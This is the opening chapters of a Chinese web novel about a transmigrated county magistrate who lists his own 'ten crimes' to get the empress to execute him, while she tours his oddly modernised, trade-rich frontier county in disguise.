《一心求死,女帝却让我当首辅》 第一章 十宗罪 京城议政殿,女帝秦曦正如同往日一样,在首辅辅佐下,批示奏疏。 看着手里的奏疏,她忍不住黛眉紧皱,玉手猛地拍在桌上! “荒唐!” 【臣许攸罪该万死,特此上书十宗罪!还请陛下赐死!】 【罪一:臣私设盐铁,允许商贩买卖。】 【罪二:臣暴征横敛,聚财百万,民不聊生,商贾恨臣为吸血蚊虫。】 【其三:臣募兵十万,擅自练兵,拥兵自重,有谋反之心。】 【其四:臣私通外党,鼓励商贸,以兵甲换取牛羊,通敌叛国……】 【臣自知罪无可赦,还请陛下降旨,赐臣一死。】 “荒唐!简直岂有此理!” 秦曦怒不可遏,狠狠将奏疏砸在桌案上。 “国贼,此乃国贼,猖狂至极!” 自从继位以来,秦曦勤勤恳恳,励精图治,恨不得每天能有二十四个时辰处理家国大事。 为了让百姓过的更好,她每旬都会亲自巡视,所到之处百姓无不称赞。 重民事,开科举,广纳天下人才,整个大唐也有中兴盛世之景象。 可偏偏这时候,一纸奏疏将她脸打的啪啪响。 眼前的青尧县县令,居然列出十宗罪,还上书请罪,请她下令! 看到上面的白纸黑字,秦曦只觉得脑袋有一股热血,直冲脑门,身体都有些坐不稳。 “今日你要死,朕就满足你!” 秦曦声音很冷,冷的仿佛是九幽寒冰,一双玉手伸出,捏住桌上笔杆,就要下笔。 就在她笔锋即将落下,身边却不合时宜的响起了一道反对声音。 “陛下,为何不再思忖思忖?” 还思忖? 秦曦气的俏脸通红,面上表情都扭曲在一起。 若不是眼前之人,是大唐的首辅,她定然会出言反驳,甚至不管不顾,直接下笔。 说话的人名叫李牧,自大唐开国后,就担任首辅,虽七十高龄,但朝中无人不服。 也是他直言,秦曦才以女儿身,执掌天下权柄,坐到帝位。 看着眼前授业恩师,秦曦深吸一口气,将手中的笔放下,随后将奏疏摊开。 “舅舅,您看看,这就是朕的好臣子!” “您教导朕,且不可骄奢淫逸,万物以民为本,您看看他做了什么!” “此獠乃国贼!” 李牧没有半分逾越,先恭敬的一拜,这才双手伸出,小心翼翼捧着奏疏,在灯光下一字一句品读。 看到上面的内容,他脸上表情亦是不断变化。 “陛下,此事……似乎有些不对劲。” “不对劲?” 秦曦气的都快爆炸了,根本听不见其他言论。 “朕可没逼他,是他自己上书的罪证,这有何不对?” 李牧笑了,笑的很坦然,也很淡定。 “陛下,请问这世界上,有人会把诛九族的罪状,全部书写到奏疏上,还如此堂而皇之的送到您面前?” “这是怕天下人不知道,还是怕满朝文武不晓,生怕自己死的晚点,阎王不收?” 只是简简单单的一番话,秦曦身上的怒火,被浇灭了大半。 秦曦再次捏住奏疏,脸上表情也变得微妙。 她上任三年,所见重重不少,那些贪官污吏恨不得把自己丑事全部藏起来,谁也不想被外人知道。 如今这青尧县的县令,不但大大方方上书,甚至还把自己的罪名直接列了出来。 “舅舅,依你之见,这青尧县的县令,为何要如此?” 李牧低头沉吟,片刻才有答案。 “臣认为,或许是这位县令,见陛下微服私访,却不曾到边关要地,心生不满,故此以次方式来吸引陛下眼球。” 对于此番结论,他也不是没有理由。 “陛下励精图治,国泰民安,然边远地区却不曾涉足,青尧县地处边陲要地,虽是一县但权利不小,治下有三万百姓,面积也不下半个京都。” “若是正常奏疏,区区一县令之言,岂能送到陛下面前?即便是三省不押,州道也不可能放开,唯有如此大逆不道,才无人敢阻,无人敢拦!” “或许这青尧县县令,是别有用心,这也说不定!” 秦曦眼底怒意彻底消散,也多了许多的忧虑。 只是她还想不明白,区区一个县令,为什么要吸引她注意力,还是用如此大逆不道的方式。 “舅舅,你说他这么说,是为了什么?” “难不成当真是为了求死?” 李牧也懵,即便是剑走偏锋,可如此上书,他执政五十宰,也是第一次见到。 “这……” “臣也不知。” 议政殿内,陷入诡异的安静。 秦曦和李牧对视许久,又将目光落到眼前的奏疏上,依旧没有什么头绪。 片刻时间,秦曦突然露出冷笑。 “此獠如此嚣张,朕登临大宝,却闻所未闻。那便让朕看看,此獠有何目的!” “传朕旨意,调动御林军五千。召蒙武将军入朝,十日之后,朕要亲自去青尧县!” …… 距离京都千里之外的青尧县,县办事大厅后面,许攸躺在水床上,身边四个丫鬟不停帮他揉捏肩膀。 “胭脂,用点力,老爷我没让你吃饱吗?” “啧啧,听说当今天子居然是女人,你说稀奇不稀奇?” 许攸不是这个世界人,当初阎王手滑,误将同名同姓的他从生死簿勾掉,事后反应过来已经迟了。 事后阎王给出方案,凑齐十万功德允许转生,转生后他成仙,还能回到自己的世界。能否成仙根据他所获得功德来评估,功德则是看他现在的所作所为。 然而成仙的前提,必须有人承受十万功德因果,自杀、意外身亡则会彻底错失此次机会,而能承受因果的,也只有当今皇帝。 许攸本打算找老皇帝,谁知道他还没上书,老皇帝直接驾崩。如今新帝上位,还是个女人,他思考良久,决定成全双方。 对方是个傀儡,看到他上书内容,必然大怒,然后降旨斩了他狗头,这样他就是死得其所,也能顺利回到自己世界! 看许攸感叹模样,侍女胭脂捂着嘴轻笑。 “老爷,您可别编排陛下,人人都说陛下貌美如仙,肤若凝脂,有倾国倾城之姿。” “您要是有能耐,把陛下娶回来,咱们姐妹日日都服侍您。” 听到这里,许攸脸色大变,连声反驳。 “死丫头你也真敢想,老爷我就想死,也不可能娶个母老虎!别说貌美如仙,她多半是个傀儡。” “女人当皇帝,这大唐亡了!希望那狗皇帝能够识趣,早点送你家老爷上路。” 第二章 青尧县内如何,秦曦并不知道,半月时间过去,一支数千人大军,正在官道上行进。 军队征旗猎猎,士卒皆身着墨甲,浑身煞气士卒,胯下战马血红,威风凛凛之间,充满肃穆气息。 在大军之中,有两辆马车,正隐藏其中。 为首的马车内,正是从京都出发,当今天子秦曦,以及首辅李牧,大将军蒙武。 青尧县地处西北边陲,距离京都三千里,若不是许攸那道不要命的奏疏,谁也不愿意来这里。 嘎吱! 马车的车窗被人推开,一个小脑袋从里面探出,七八岁年纪,玉雕粉琢,乌黑大眼睛内充满好奇。 乌黑大眼睛好奇的看向周围,娇嫩脸蛋上尽是甜甜笑容。 她是安阳公主秦月,和秦曦同父同母。 登基之后,秦曦便将她带在身边,更是当做继承人培养。 此次听闻秦曦要巡视西西北,秦月非要过来长长见识,秦曦拗不过,只能带着她。 “舅舅,舅舅!咱们什么时候,才能到青尧县?” “安阳都走了好久,怎么到现在还没到?” 另一辆马车内,李牧闻声探出脑袋,他满脸温和,没有半点严厉色彩。 “快了,翻过前面的山,就到……” 话说到一半,他的眼睛陡然瞪大。 车队逐渐停下,尘土飞扬间,一道灰白色的道路,和官道交接,两条路一灰一黄,在阳光下显得很突兀。 新旧交接的位置,两人高的石碑,上书“青尧县”。 李牧的表情微微收敛,起身朝着秦曦一拜,躬身禀告。 “陛下,我们或许到了青尧县。” “到了?!” 秦曦疑惑不已,此地距离青尧还有好几里路,怎么会这么快就到? 她身上没有龙袍,只有一身素裙,饶是如此已经遮挡不住,她妖娆曼妙身材。 从车上走下后,脚下的道路,也让她皱起眉。 路,太不一样,很碍眼! 就在这时候,前方人影攒动,一道人影快速出现在秦曦面前。 蒙武翻身下马,快步来到秦曦面前,正欲躬身跪下,被秦曦伸手阻止。 “蒙将军,此路如何?” 蒙武铜铃般的大眼睛瞪圆,脚下的路很平,平的不像是路。 “陛下,斥候探报从此开始,往后尽是这些路!” “此路坚不可摧,哪怕是刀剑,也只能留下一道痕迹,堪比石砖堆砌!” 说着,蒙武将腰间佩刀取下,恭敬送到秦曦面前。 道路宽四丈,两侧每隔一丈,就有一棵杨树。郁郁葱葱的杨树,和灰白道路形成鲜明对比。 更让几人惊讶的是,道路旁边有凉亭,并不是普通的那四角亭。 长条外型,凉亭下有条凳,凉亭两侧挂有灯笼。 秦曦眼眸如刀,低头伸手借过蒙武佩刀,用佩刀在地上剐蹭下,蹭出一块灰色粉末。 “蒙将军,李相,你们可见过这路?” 李牧捏起粉末,他是首辅,不仅有纵横天下之术,也精通杂学以及农、算等学术。 “其色灰白,有淡淡的臭味,应该是砂石混合研磨,再通过某种手段黏合。” “其坚固程度,不亚于京都城墙,臣虽痴长七十栽,可闻所未闻,汗颜!” 李牧摇头苦笑,如此神物放在京都,那都是很罕见的存在,如今却被用来修路。 秦曦眉头紧皱,她想起了青尧县县令的奏疏,脸色逐渐阴沉。 “横征暴敛,民不聊生。” 京都的城墙是三十年,二十万百姓修筑。小小青尧县,哪来的钱和人,修筑如此道路? 秦曦自上位以来,勤俭节约,从不宣扬政绩,一切以务实为本,更是要求官员廉洁奉公,不得铺张,不得攀附。 没有巨量的财源,没有压榨百姓,此路……修不成! 想到此,秦曦的眼眸更加阴沉。 “姐姐,你看这路好平,也好宽!” “这可是好事,你为何如此不开心,难道他修路也有错?” 小公主秦月,大眼睛内充满困惑,两只手学着李牧动作,捧起一捧石灰,在手里把玩。 秦曦听到软糯的声音,脸色微微好转,可依旧满脸寒霜。 “安阳,修路自然是好事,可你看看,此地是什么地方?” 安阳公主踮起脚,小萝卜才一米,根本看不到四周的景象。 秦曦寒着脸,手指向前方。 “此地地处西北边陲,乃我大唐和外域连接之处,年年战乱,盗匪横行,百姓流离失所。” “朕曾查看过,青尧县有百姓三千,青壮不足八百。” 说到此处,秦曦的目光再次落到灰色道路上,眼底的寒意几乎化作实质。 “不足八百的青壮,修筑如此道路……这灰白不是砂石,是皑皑白骨!” 咔嚓! 平空惊雷,李牧和蒙武也满脸的凝重。 八百青壮,就算是修一辈子,也修不成这路!青尧县的县令,真乃国贼! 安阳公主自小便被秦曦带在身边,她自幼聪明,听到秦曦这番话,也目露出悲戚。 “姐姐,这青尧县县令,不是好人!” 何止不是好人! 强征暴敛,天怒人怨,难怪会上书请罪! 怕不是这青尧县县令,恶事做的太多,导致夜不能眠,才上书请罪。 “蒙武!” “臣在!” 秦曦眯起眼,双手攥拳,手间佩刀在阳光下,散发出渗人寒意。 “你率二十亲率,随镇伪装成商队入城,其余士卒另寻他路潜入青尧县!” “朕要手刃此獠,为我大唐子民,讨回公道!” 蒙武双手接过佩刀,恶狠狠瞪大双眼,以刀插地,猛地单膝跪下。 “臣!遵命!” 大军立刻分散,化作七支小队,蒙武亲自率着二十亲率,护在秦曦左右。 一行人化作商队,总共五辆马车,晃晃悠悠朝着青尧县而去。 众人只有一个心思,诛杀青尧县县令,为大唐斩除国贼! 车轮滚滚,没有半点的颠簸,越是如此,众人心头越沉重。 青尧县的县令,不但横征暴敛,更是祸 国殃民! 黄昏将近,天空中斜阳西斜,青尧县出现在众人视线中,车队缓缓停下,所有人看向远处都愣在原地,仿佛被雷击一般。 连同秦曦在内,所有人都眼睛睁大,满脸都是惊惧和愤怒。 第三章 此獠不可不除 视线所处,巨大城墙犹如怪兽,正伫立在地面上。 城墙高越八丈,灰白色墙面,在夕阳之中,更加狰狞恐怖。 烽火楼、箭阁、瞭望台,应有尽有,上面征旗招展,墨黑色旗帜上,绣着金色的青字。 县城? 眼前的这一切,哪怕是京都,都难以比拟,这能是县城? 李牧揉揉眼,很是怀疑自己是不是老眼昏花,看错了眼前的一切。 “小姐,我们这……这是……青尧县?” 连李牧自己都不敢相信,他很怀疑,自己看错了。 那灰白色道路,好歹压榨民力,花个几年时间,也能勉强修筑,可眼前城墙是怎么回事? 秦曦没说话,贝齿紧咬下唇,乌青色嘴唇已经泛起嫣红,她的心头在滴血。 “此獠不可不除!” 什么是国贼,青尧县的县令,才是真正的国贼! 那条灰白的道路,是强征暴敛,而眼前的城池,就是蓄谋谋反,不但有谋反之心,还将百姓当做草芥。 修建如此城墙,至少三十年,动用民力也得二十万起步,所耗人力物力,不知凡几,哪怕是国库也掏不出这么多银子。 此刻她的脸色煞白,娇躯因为愤怒,而变得颤抖。 在她眼中,许攸是国贼,是祸 国殃民,十恶不赦的大魔头,不杀不足平她心中愤怒,不斩不能安抚天下民心。 就在她怒火攻心,小公主秦月,却伸出手,拽了拽她的衣袖。 “阿姐?” “你方才不是说,这青尧县只有青壮八百?他们会仙法不成,难道会搬山移木?” “你看那城墙好高,也好大!月儿在京都,都没看过这么巍峨的存在,就算青尧县的人都会仙法,也得不日不夜干上好几年。” 所说童言无忌,可秦月的话,却犹如一道惊雷,劈在众人心头。 秦曦愣住,八百青壮修路修城墙,还将城池修出来,这简直天方夜谭。 就算那许攸是神仙,五年的时间,除非他能撒豆成兵,即便是如此,也是不可能。 至于驱使百姓,众人一路上而来,周遭百里内,都人迹罕至,很多都是残垣断壁,村落都荒废了不知道多少年。 修建如此城池,所耗民力至少五十万,这是不可能的事情。 不仅是秦曦打了个冷颤,就连李牧都开始心里发憷。 两人脑海内,都想到了一个可能。 【臣通敌叛国……】 不怪他们这么想,除了通敌叛国之外,两人想不到许攸哪来的这么多人力物力。 “陛下,还请以龙体为重。” 李牧叹了口气,事到如今连他都不敢相信,眼前的一切,是许攸所为。 秦曦咬着牙,反而伸手阻止了李牧接下来话语。 “不!进城再说!” 无论如何,他们都到了这里,不看看这青尧县,到底是什么情况,他们都不会死心。 大唐建国到如今,从未有通敌叛国,要是有人敢叛国,秦曦不介意让对方,尝尝自己的天子剑! 一行人整理下仪容,缓步走在官道上,朝青尧县城而去。 县城门口,宽大城门下,十二人为一队,总共有四队,每人身上都佩戴刀剑,浑身精气神十足。 这些人职务不同,有负责检查,有负责维护秩序,在遇到百姓时,他们的脸上,居然都洋溢着笑容。 秦曦怀疑自己看错了,一群兵痞在城门口,不刁难欺诈,居然还满脸笑容,帮入城百姓运送货物,或者帮忙照顾孩子。 如此祥和的一面,和灰白色城墙,却形成了鲜明的对比。 她印象中,如此酷吏之下,必然民不聊生,百姓恨不得逃窜出城,根本不可能如此笑呵呵的进城。 “停下!” 就在秦曦等人即将入城,为首的士兵却突然出声,伸手挡住马车。 秦曦等人没坐在马车内,此刻看到士兵突然开口,一个个浑身气势凝滞,上位者气息涌现。 然而士兵却似乎毫无察觉,伸手挡在众人面前。 “诸位,为何他们能进,我们不能进。” 为首的士卒斜瞥一眼秦曦等人,随后将目光落在马车上。 他的脸上没有任何惧怕,也见不到任何的谄媚神色,似乎这一切都是理所当然。 “几位第一次来我们青尧县,不知道我们的规矩。” 秦曦正想着如何入城,见士卒气质特殊,又心生爱才之心,便不轻不重的哼了一声。 “是,难不成你们还有其他规矩?” 士卒闻言,伸手指向路边,路边有集市,是特意设立在此地,在集市口有个亭子,里面似乎有官员入驻。 在亭子门口,一块木板高悬。 “税务处!” 秦曦神色陡然变得冰冷,税务处是什么,她不清楚,但税可是国之根本! “我们入城,要交多少税?” 士卒对此门清,语气很是平淡,却说出了个让秦曦等人,差点惊掉下巴的数字。 “每人十两纹银,小孩子不满一米五,可以免税,超过一米五,五两!” “另外入城做买卖,需要缴纳百两纹银当保证金,所买卖货物,需要经过税务处统计,按照本金十分之一取税。” 秦曦等人差点没被吓傻! 每人十两,保证金百两,税收是本金十分之一。 十两纹银,足够个五口家庭,生活一年,甚至还有盈余。 而如今入城,就需要缴纳! 蒙武握住佩刀,眼中杀意凛然,双手手背上青筋一根根挑起,俨然就要拔刀,将士卒砍杀当场。 不仅是他如此暴怒,秦曦亦是如此! 她此刻终于明白,为何这青尧县有如此财富,就光这种手段,每年敛财就至少十万。 “国贼,不杀,朕心头不快!” 秦曦暗暗下定决心,必然要将青尧县的县令,给五马分尸,以慰问上苍。 “奶奶的,爷说了多少遍,微笑服务!” 就在这时候,一道人声突然出现。 出现在秦曦面前的,是个二十七八,剑眉星目,身穿青衫,手拿折扇的翩翩俊年。 然而从他嘴里说的话,却让他身上那出尘的气质,猛然掉落一大截。 “许大人,我笑!” 士卒不笑还好,一笑许攸气更大。 他抬起脚,一脚就踹在对方身上,对方被踹了个趔趄,却也不恼,憨憨的摸着脑袋跑去旁边。 “没他们这些肥羊,谁给你们发工资,谁给咱们供吃穿?” “这些是咱们财神爷,都给我招子放亮点!” 说完,许攸快步来到秦曦面前,也不知道从哪弄出来的花,叼在口中,桃花眼电力十足。 “小姐姐,手下人不懂事,你们是来做生意,还是来旅游的?” “快里面请,我是青尧县县令,为了表示歉意,你们这趟旅行,就由我来负责!” 秦曦和李牧对视一眼,两人眼底露出惊骇的神色。 眼前的青年,居然是青尧县的县令,那个传说中的国贼。 许攸?! 第四章 重商抑农还通敌 秦曦面上神色不变,这种放浪子弟,她早已见过不少。 在她示意下,李牧上前一步,挡在许攸和秦曦面前。 “敢问大人,可是许县令?” 许攸垫着脚,窝在青尧县,虽然看了不少异国美女,但是秦曦这样的大美女,他还是第一次见。 正看的过瘾,谁知来来了个老梆子,一张老脸臭的和茅坑石头似的。 看在这些人穿金戴银,浑身气势不凡,他也没多想,笑呵呵的解释。 “正是在下,不知道几位从何而来,来我青尧县又有何事?” 许攸是刚巧路过,今天是送奏疏的日子,他怕狗头军师忘记。 秦曦和李牧早就准备好,不急不慢的说出自己名字。 “我乃四明商会的东家,秦萼!这位是舍妹。” “他是我的账房,李牛,以及护院武大。我们自长安而来,听闻这里有奇珍大买卖,还请许大人照拂一二。” 在伪装这块,秦曦信手拈来,她的面上带着面纱,也不怕许攸认出来。 抬手就是一块金锭,从袖口中翻出,落到许攸的手上。 许攸看到手里的金锭,眼底精光绽放。 他早就想和长安城的商会做买卖,但一直没机会,不仅没机会,他也害怕。 眼前这一行人,尤其是领头的秦萼,虽然身穿素裙,可那窈窕身材,丝毫不掩饰,浑身气势也非大家闺秀,而是精明凌厉的商会掌柜。 至于李牛和武大,这两人也不简单,许攸可以看出来,这二人一文一武,可以说到了巅峰。两人身上气质截然不同,却又甘心在红鸢身下做事。 这种排场和气势,也只有豪门贵族,才能有这样的身份。 他是要寻思,寻思之前能多做点事,多为青尧县百姓做点实事,那也是好事。 “秦掌柜您可说笑了,是在下的人不懂事,诸位都是客人,既然来做买卖,那就由我带领,给几位引荐一番。” 说着,许攸就往里面走。 秦曦等人利索当然,也往里面走,可刚到门口,再次被拦下。 偏偏在这个时候,许攸一拍脑门,露出了不好意思的神色。 “几位,实在不好意思,没有规矩,不成方圆,咱们这个规矩不能破。” “你们看,这入城费……” 秦曦脸黑了,合着说了半天,一分钱不能少。 她也知道现在不是说这些的,只能硬着头皮去讨价还价。 “许大人,这税费可是有些不合理?每人十两,还得缴纳押金,本掌柜走南闯北这么长时间,从未见过有如此规矩。” 秦曦可没说谎,她微服私访各地,也不是第一次被要入城费用,这种昂贵的入城费,她倒是第一次见。 许攸没解释,反而是神神秘秘的指向了税务处。 “秦掌柜,你觉得高吗?” “许大人,你觉得不高吗?” 秦曦反问一句,她不信如此高的税赋,所有人都能接受。 这时候她也注意到,普通百姓进城,都有个特殊的牌子,上面有姓名,还有一串编号,只要拿出来,就可以不用缴纳入城税。 至于商贾,秦曦的目光落到了税务处。 远处官道上,一行车队正在从远处而来,车队差不多三十辆大车,正浩浩荡荡的驶来。 为首胡商骑着匹棕色大马,距离城门还有百米,车队快速停下。 胡商招呼一声,十几名护卫手脚麻利的开始解锁套,而税务处也走出三人,朝着车队走去。 “查大人!我们五十五人,这里是五百五十两人头税,货物都是皮革和毛毡,你们快清点,我赶时间。” 胡商的语气很着急,一手拿着银票,一手快速拿出小册子,递给为首检查的官差。 税务处的官差手脚麻利,快速清点完货物,随后开始清点银票。 “总共一万三千两,包含入城费五百五十两,押金一百,税费一万两千三百五十两,这是凭着和摊位印签。” 拿到印签,胡商冲着身后的商队,吆喝了一声后,商队中爆发出欢声笑语。 似乎他们的目的,就是为了入城,而一万三千两,在他们看来,更是一笔小钱。 秦曦目瞪口呆,难不成这些胡商是疯了? 一万多两白银,哪怕在京都,也是天价数额,可在这胡商的商队中,就仿佛是小钱。 目送一队商队离开,秦曦还是没动,她要看看,是不是所有的商队,都是这一样。 今天有七支商队,胡商等入城后,另外两支商队也抵达,这两支商队,都迫不及待的缴纳入城费,一个三万多两,一个两万多。 三支商队都是迫不及待,得到入城的印签后,一路上兴高采烈,就仿佛入城不是做买卖,而是捡钱。 “这……这居然是真的!” 秦曦看向李牧,后者也满脸的茫然。 商人是什么人?这是一群蛀虫,士农工商,商贾最为下贱。 这群蛀虫最在意利益,如今还没见到利,他们却心甘情愿的缴纳入城费。 “秦掌柜,我们青尧县的规矩很简单!” “他们缴纳了这一万两,只是他们的本金十分之一,入城半月,他们可以在这里赚走十万两!” “在草原上,他们穷奇一生,也赚不到这么多!风险和利益并存,和十万两对比,你觉得一万两税多吗?” 秦曦的脸色阴沉下去,她终于明白,为何这青尧县,居然有钱修城,有钱筑城墙,去修建官道。 商人误国,前朝就是因为商贾做大,才导致国灭! 此刻的秦曦内心怒意,已经冲天。 眼前许攸不但重商,还堂而皇之私通胡族,此乃祸 国殃民的大罪! 难怪周围的百里毫无人烟,定然是百姓被商贾吸引,导致田地荒废。长此以往下去,只会劳民伤财,动摇根基。 在秦曦沉思,许攸也在暗暗打量。 “这秦掌柜,不会是京城的那位吧?” 想到这里,他又摇摇头,青尧县距离京都上千里,再说女帝出门带这几个人,不怕被路过山匪抢走当媳妇? 这样的人必然是大家族的核心,从小就生活在权利中心。 想要打动这样的人,必须下重本。 “秦掌柜,有没有兴趣搞一笔大的?” “他们这都是小打小闹,不过是个倒爷,想不想让大唐的粮仓都掌握在你的手里?” 许攸缓步来到秦曦身边,小心丢出个炸弹。 第五章 通敌叛国的铁证 秦曦呼吸急促,不是惊骇,而是愤怒! 在她心里,许攸的罪名,可不止是祸 国殃民如此简单。 身为帝君养气是第一位,秦曦深吸一口气,压住心中怒火,不咸不淡的开口询问。 “还有如此好事?” “本掌柜也是闯南走北,手下商号三千,从未听说,有人敢把粮仓握在手里。” “许大人可知道,京都四大粮仓,有多少存粮?” 许攸当然不知道,他早就想和京都的商贾做买卖,但一来怕功德不够,提前被发现,到时候耽误事。 二来京都商贾世家,什么宝贝没见过,要是没点珍奇,很难让这些虫豸动心。 他现在已经确定,眼前的女子,绝对是世家豪门中的千金,手中资本无数。 “秦掌柜,本官虽然不知道,但本官可让你们秦氏荣耀百世,有享受不尽的荣华。” 秦曦心烦,把许攸的话,权当做是放屁。 百世荣耀,享受不尽的荣华,怕不是全都剥削百姓,出卖家国而来。 眼前的青尧县县令,罪无可赦,必须先五马分尸,再凌迟,最后油烹。 心中暗暗定下许攸死法,秦曦俏脸微抬,露出不感兴趣的表情。 “许大人好意,在下心领了。” “我初登宝地,还是先考察考察,以免误入圈套,被人贻笑大方。” 许攸脸皮抽动,暗骂秦曦不给面子,但也知道这些商人的精明。 要是秦曦见面就相信,那才是可疑。 他暗暗做了个手势,随后依旧满脸微笑。 “那成!是本官考虑不周,还请秦掌柜入城,仔细考察一番!” 说完,许攸冲着周围士卒大吼。 “都愣着干什么,快帮秦掌柜把货物,送去天上人间!” “啊?” 为首的士卒一呆,再看许攸眼神,立刻麻溜开始干活。 秦曦冷哼一声,背着手潇洒进入城门。 在她看来,金玉败其絮,青尧县的县城虽然高大,可里面绝对不可能建设完毕。 五年时间而已,想也不可能,将如此一座巍峨城池建设完毕。 可当她真正走入城池内,才发现她错的离谱。 道路宽旷整洁,依旧是灰白路面,其上看不到任何一点误会,连马畜牛羊等粪便,都看不到分毫。 放眼看去,道路两侧的房屋鳞次栉比,豪华程度,不输给长安城。 “小二发廊!好再来大酒楼!坤哥按摩!” 琳琅满目的店铺,看的秦曦眼眸瞪大,感觉有点匪夷所思。 各种店铺名称古怪不说,建筑风格也不像是大唐风格。有的高七层,有的只有一层,但绵延一排,门口还有青红灯笼,上书“洗剪吹一条龙”。 很快,秦曦的目光,自店铺转移到了行人。 如今已是傍晚,夕阳西斜,余晖洒落在街道上。宽阔的街道上,依旧人影攒动,不少人提着筐背着萝,一路有说有笑。 青尧县百姓不到三千,青壮八百,哪来的这么多人? 秦曦看向李牧,后者也满脸迷茫。 按照眼前的人影,青尧县少说得有二十万! 两京之地,有县八十,不过才有百姓五百万,反观青尧县,一个县就有了二十万人。 更重的是,眼前这些人之中,汉人虽多,可更多的是胡人,以及外地来的蛮夷。 这些人和商贩或者普通大唐百姓交谈,全部都是用汉语,大部分都是半生不熟,甚至听的别扭,但不能否认,这就是汉话! 没有半点的间隙,也没半点的嫌弃,仿佛这里就是一个大染缸,进入这里,就是大唐的子民。 秦曦脸色发白,双拳紧紧攥紧。 四海之大,寸金寸土,每一寸土地,都是大唐历代皇帝,用鲜血和数万将士血肉夺取。 如今青尧县,不但私通蛮夷,甚至开放关门,引狼入室! 此等行径,和那些通敌叛国的,卖国贼,又有何异? 秦曦胸腔不停起伏,心中怒火不断翻滚,看向许攸的眼神,毫不掩饰那蓬勃杀意。 然而就在这时候,一道清脆的声音,却在她耳边炸响。 “姐姐,你快看!” 小公主秦月蹦跶着跳起,四周景色是她从未见过,她正好奇的巴拉这一个摊位。 “姐姐,什么是王麻子炸鸡?” “这鸡好香!” “哇,你看,天上的星星掉下来了!” 小孩子都是好奇的,刚看到炸鸡,她又被隔壁的店铺给吸引。 晶莹剔透的圆球,被吊在红绳中,里面荧光转动,在阳光余晖下,散发出谣言光彩。 “姐姐,你看这个!这是不是长安城?” “哇!好漂亮的衣服,太好看了!” 秦曦顺着声音看去,视线也不由凝滞。 周围店铺怪异,“王麻子炸鸡”,“二狗奶茶”,“张三礼品店”。 此刻看到秦月如此可爱,王麻子炸鸡店后面,冒出个猥琐人影,手里提着两个纸包。 “妹妹,你叫一声哥哥,我就把这些送你如何?” 炸过的鸡翅和鸡腿,芳香扑鼻,根本不是秦月能抵挡。 对她而言,整个青尧县都是宝库,等待她去探索。 一听到王麻子这么说,秦曦柳眉跳动,杀意更是彻底抑制不住。 “月儿,姐姐有钱,你想要什么,自己拿去买吧。” 说完,她从袖口中掏出个荷包,里面居然有十多块金疙瘩。 就在她准备用钱,砸死眼前低贱的商贾,王麻子却陡然一变脸,满脸都是笑意。 “许大人,您怎么来了?” “是我眼拙,我给几位道歉!妹妹,我这里新上的酸梅鸡,今天我请你吃。” 王麻子手速极快,眨眼间就打包好十几个纸包,亲自送到秦月手里,还不忘从隔壁,买了一杯果汁。 许攸浑然不在意,淡定的挥挥手。 “这些都是长安城来的客商,是我的贵客,你们自己忙自己的,我带着转转。” 秦曦愣了下,没拒绝王麻子好意,不过她的凤眸之中,杀意却更加浓厚。 越往前走,她内心越冷,一路上所有店铺,无论汉人还是胡族的,都对许攸无比熟悉。 小公主怀里,也早就抱满了小礼物,各种饰品玩具零食,应有尽有。 如此场面,秦曦再也压不住心中怒意。 此獠,不可不除,否则大唐根基不稳! 第六章 带女帝去青楼洗脚 一路上走来,秦曦已经见到大部分景象,如今看到许攸停在“天上人间”,脸色更是阴沉。 “欢迎光临!” 许攸弓腰往前伸出手,做出了邀请的姿势。 “几位,这是我们天上人间大酒店,欢迎各位莅临。” 酒楼高五层,此刻天色已经黑下,楼宇周围却泛起灯火,将夜色全部驱散。 即便是站在门口,也能听到里面阵阵娇啼,香气更是不断从楼宇内溢出,丝竹之声更是不绝于耳。 酒楼牌匾龙飞凤舞,潦草的几乎看不出来名字。 “天上人间”! 门口十二位迎宾,身着轻纱,灯火之下,雪白肌肤若影若现。轻纱下,开叉直到腰间,两条美腿一黑一白,尽显妖娆风姿。 秦曦等人脸色变得难看。 这天上人间,竟然是青楼! 此刻几人脸色之中,都充满了怒意,带着皇帝逛青楼,自古便没有这事。 况且身为女子,秦曦继位之后,就颁布了诏令,朝廷不支持娼妓,但也不反对,任何女子若是被强迫,可上报官府,官府会还以清白。 不仅如此,诏令上还说明,沦为娼妓只能为十年,十年后无论是否赎身,都必须还以清白,不得继续为娼。 可眼前的青尧县,居然不顾朝廷的律令,堂而皇之大搞这娼妓之风! 欺君罔上,此乃大不敬之罪,足以杀头! 秦曦脸色阴沉的快滴出水,不过她没发作,她是女儿身,她倒要看看,这青尧县的县令,是怎么让她进青楼的! 念此,她抬起脚,带头走进了天上人间。 刚进门,一股淡淡的香气,便迎面扑来。四周琴瑟声不断,进出有男有女,基本上都是衣冠楚楚,面色红润,偶尔也能见到几个肥头大耳,或者满脸赤红的蛮人。 大厅内,摆放了十几张桌子,桌子前方高台上,几名身材妖娆的女子,正在偏偏起舞,而台下的那些看客,却没一个躁动。 老鸨看到许攸居然亲自前来,两只眼都眯成了一条缝。 “我说今儿怎么喜鹊在叫,这不是咱们青天大老爷?” “姑娘们,你们的恩公来了,还不快沐浴宽衣,好好服侍许大人。” 许攸眯起眼,仰头哈哈一笑,伸手在老鸨丰腴的曲线上狠恰一把。 “妈妈就不要这么客气,今日我是带客人而来,让香兰她们把天字号包间清理出来,给几位恩客好好安排。” 老鸨美眸转动,看到许攸身后的秦曦等人,也不觉得意外,当即冲着楼上吆喝。 如此一幕,看呆了秦曦等人。 女子逛青楼,自古就没有过,如今这老鸨不但没把她们赶出去,反而还吆喝人去安排。 不多时,秦曦等人便在老鸨的安排下,来到了天字号房。 房间内窗明几净,踏足便是厚厚毛毯,檀香弥漫在房间内,耳畔谆谆流水不断,丝竹声也从屏风后溢出。 透过烟雾,可以看见屏风后,居然端坐了四名身材妖娆的姑娘。 秦曦等人脑海中,都不有冒出个大问号。 “这到底是皇宫,还是青楼?” 在门口的姑娘,见到几人进屋,立刻帮几人换鞋,将他们外衣给清扫一遍,又换了双合脚的拖鞋。 “几位,还请见谅,我们这边的服务,都需要宽衣,还请几位跟我来。” 秦曦贝齿紧咬下唇,果然和她猜的一样,这里就是青楼! 如今青尧县的县令,连演都不演,公然支持青楼,败坏超纲! 谁知姑娘话音落下,居然有几名侍女,将手中衣物送上。 “此物名为浴袍,可穿在渎衣外,也方便各位恩客享受。” 秦曦胸腔跳动,丰腴弧度因为生气,在不停起伏。 她是女子,眼前这些姑娘,居然如此大胆放肆,若是放在宫中,她定要让这些人,人头落地! “你叫什么名字?” 姑娘一愣,当即半跪倒地上,娇滴滴的道。 “恩客,小女子名叫香兰,38号。” “恩公,小女子名叫秋月,22号。” 